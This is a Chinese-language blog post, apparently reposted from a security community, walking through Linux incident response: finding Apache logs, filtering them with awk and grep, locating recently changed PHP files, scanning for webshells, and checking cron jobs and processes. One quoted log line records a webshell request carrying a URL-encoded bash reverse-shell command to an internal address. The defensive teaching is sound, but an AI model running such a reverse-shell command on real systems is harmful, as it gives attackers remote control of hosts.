|
来源:先知社区,作者:1096997518662234
原文:https://xz.aliyun.com/t/14596
现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
前言
如果文章有说的不对或者不够完整的希望大家补充。
目标信息情况
当我们去甲方客户现场做应急响应时,啥也没有,首先要了解目标主机网站部署结构,比如说中间件是否是apache,语言是否是PHP,网站性质是否是CMS还是OA等,在这基础上再进行下一步的操作。
日志确定
所以我们可以直接去寻找apache的日志,/var/log下,可能apache日志再改路径下也可能在下一级路径/var/log/apache2/下面,这个就可以根据平时自己的经验判断,总而言之反正在/var/log下就对了,大家一定要注意,输入命令ls时一定要把-a参数敲上,显示所有文件,因为有的文件隐藏了说不定就因为粗心没有带上-a参数导致漏洞文件信息等
我们也可以通过ls -alt参数根据时间顺序列出该目录下的所有文件,这个也是很有必要的
日志分析
通过上述图片也可以发现业务量特别大,我们使用cat access.log.1 | wc -l发现存在9272条
cat -e access.log.1 | grep 1.php
cat access.log.1 | grep -a 1.php
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200 242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"$
访问者ip 时间 请求头 请求路径 URL http版本 状态码 长度
user-agent头
awk '{print $1}' access.log.1 此命令为匹配字段为1的数据并只显示字段为1的数据
awk '{print $1}' access.log.1 | sort | uniq -c
uniq是行数展示
sort默认进行ASCII排序
我们可以使用如下命令来查看日志时间记录跨度和间隔时间
head -n 1 access.log.1 | tail -2 access.log.1
awk '{print $1}' access.log.1 | grep -v 192.168.1.7
grep -v 反选目标
awk '{print $1 $4 $7}' access.log.1 | grep -v 192.168.1.7
awk '{print $1 $4 $7}' access.log.1 | grep -v 192.168.1.7 | wc -l
通过上述方法我们就可以对不要的日志或者重要的日志进行简化处理,这样我们在进行下一步处理的时候会方便许多。
awk '{print $1 $4 $7}' access.log.1 | grep -i 192.168.1.5 | grep "/user"
时间特征分析
我们通过上述情况我们就可以针对时间去查看在这段时间内文件上传的情况,比如说我们查看日志时间是在24小时内,那么我们就可以使用如下命令来查找该时间段的php文件(这个我才创建的,只是为了让大家看到效果)
find /var/www/html/ -mtime 0 -name "*.php"
find /var/www/html/ -mtime 0 -name "*.ph*"
基于时间特征还可以进行目录的查看我们通过ls -alt发现目录时间变更最近的data目录
cp 1.php 1.php.bak
chattr -i 1.php.bak
工具查杀
webshell后门使用河马查杀
./hm scan /var/www/html/
cat result.csv
定时任务
注意:有时候定时任务做了隐藏我们可以使用-e参数进入日志文件查看,这样即使隐藏任务也能发现
crontab -l
crontab -e
进程
ps -aux | grep "./"
sha256sum prism
prism Info
总结
大家可以参考一下,如果有时间也可以具体实践一下,因为思路跟上了可能命令等不熟悉等等情况存在。
原文始发于微信公众号(潇湘信安):基于Linux应急响应全流程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论